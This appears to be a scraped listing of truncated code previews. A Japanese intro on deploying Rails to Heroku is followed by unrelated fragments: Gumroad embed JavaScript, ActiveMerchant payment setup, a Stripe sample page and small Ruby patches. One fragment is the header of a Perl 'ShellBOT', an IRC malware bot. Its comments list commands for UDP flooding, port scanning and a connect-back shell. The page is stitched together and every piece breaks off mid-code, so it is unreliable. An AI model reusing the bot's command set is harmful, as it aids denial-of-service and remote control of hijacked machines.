最終更新日:2013/2/23
現在最新のRuby on Rails 4.0.3をherokuで公開するための設定を記載します。 大きく、2つの項目で構成されます。
- 0からのセットアップ
#!/usr/bin/perl | |
# | |
# ShellBOT by: devil__ | |
# Greetz: Puna, Kelserific | |
# | |
# Comandos: | |
# @oldpack <ip> <bytes> <tempo>; | |
# @udp <ip> <porta> <tempo>; | |
# @fullportscan <ip> <porta inicial> <porta final>; | |
# @conback <ip> <porta> |
var urls = [ | |
'http://www.example.com/', | |
'http://www.yahoo.com/', | |
]; | |
var to = '[email protected]'; | |
var sub = 'HTTP check failure'; | |
var body = "The server seems to be down. Please check the server status.\n" ; | |
function myFunction() |
function receiveMessage(a) { | |
if (!document.getElementById(Gumroad.activeIframeId)) return; | |
if (document.getElementById(Gumroad.activeIframeId).getAttribute("src").indexOf(a.origin) != "0") return; | |
var b = a.data.split(" ")[0]; | |
b == "close" && Gumroad.close() | |
} | |
var Gumroad = Gumroad || { | |
urlBlackList: ["/signup", "/login", "/logout", "/admin", "/settings", "/library", "/filtered_customer_count", "/customers", "/customers_switch_product", "/purchases", "/users", "/demo", "/products", "/dashboard", "/analytics", "/balance", "/confirm", "/crossdomain", "/api", "/developers", "/ping", "/webhooks", "/revenue_share", "/jobs", "/team", "/press", "/terms", "/privacy", "/blog-posts", "/faq", "/about", "/about", "/how-it-works", "/overlay", "/embed", "/modal", "/button", "/next-steps", "/charge", "/charge_data", "/CHARGE", "/examplify", "/deck", "/guide"], | |
init: function () { | |
if (navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match |
((function () { | |
var a; | |
a = function (a, b, c, d) { | |
var e, f, g, h, i; | |
i = [null, null, !1], f = i[0], e = i[1], g = i[2]; | |
if (!(f = a.jQuery) || c > f.fn.jquery || d(f, g)) return h = b.createElement("script"), h.type = "text/javascript", h.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js", h.onload = h.onreadystatechange = function () { | |
if (!g && (!(e = this.readyState) || e === "loaded" || e === "complete")) return d((f = a.jQuery).noConflict(1), g = !0), f(h).remove() | |
}, (b.getElementsByTagName("head")[0] || b.documentElement).appendChild(h) | |
}, a(window, document, "1.7", function (a, b) { | |
var c, d, e, f, g = this; |
require 'active_merchant' | |
require 'pp' | |
currency = 'USD' | |
gateway = ActiveMerchant::Billing::WorldpayGateway.new( | |
:login => 'YOUR_MERCHANT_ID', | |
:password => 'YOUR_XML_PASSWORD', | |
:test => true, | |
) |
unless Settings.activemerchant.proxy.host.blank? | |
module ActiveMerchant | |
class Connection | |
alias_method :http_original, :http | |
private | |
def http | |
proxy = Settings.activemerchant.proxy | |
http = Net::HTTP.new(endpoint.host, endpoint.port, proxy.host, proxy.port) |
<!doctype html> | |
<html lang="ja"> | |
<head> | |
<meta charset="utf-8"> | |
<title>Stripe JS Sample Page</title> | |
<meta name="author" content="Yuki Matsukura"> | |
</head> | |
<body> |
class << Time | |
alias_method :now_original, :now | |
def now | |
puts 'override' | |
end | |
end | |
puts Time.now | |
puts Time.now_original |
module ActiveRecord | |
module Querying | |
delegate :group_date, :to => :scoped | |
end | |
module QueryMethods | |
def group_date(column_name = nil) | |
return self if column_name.blank? | |
# Rails uses a non standard time zone naming. |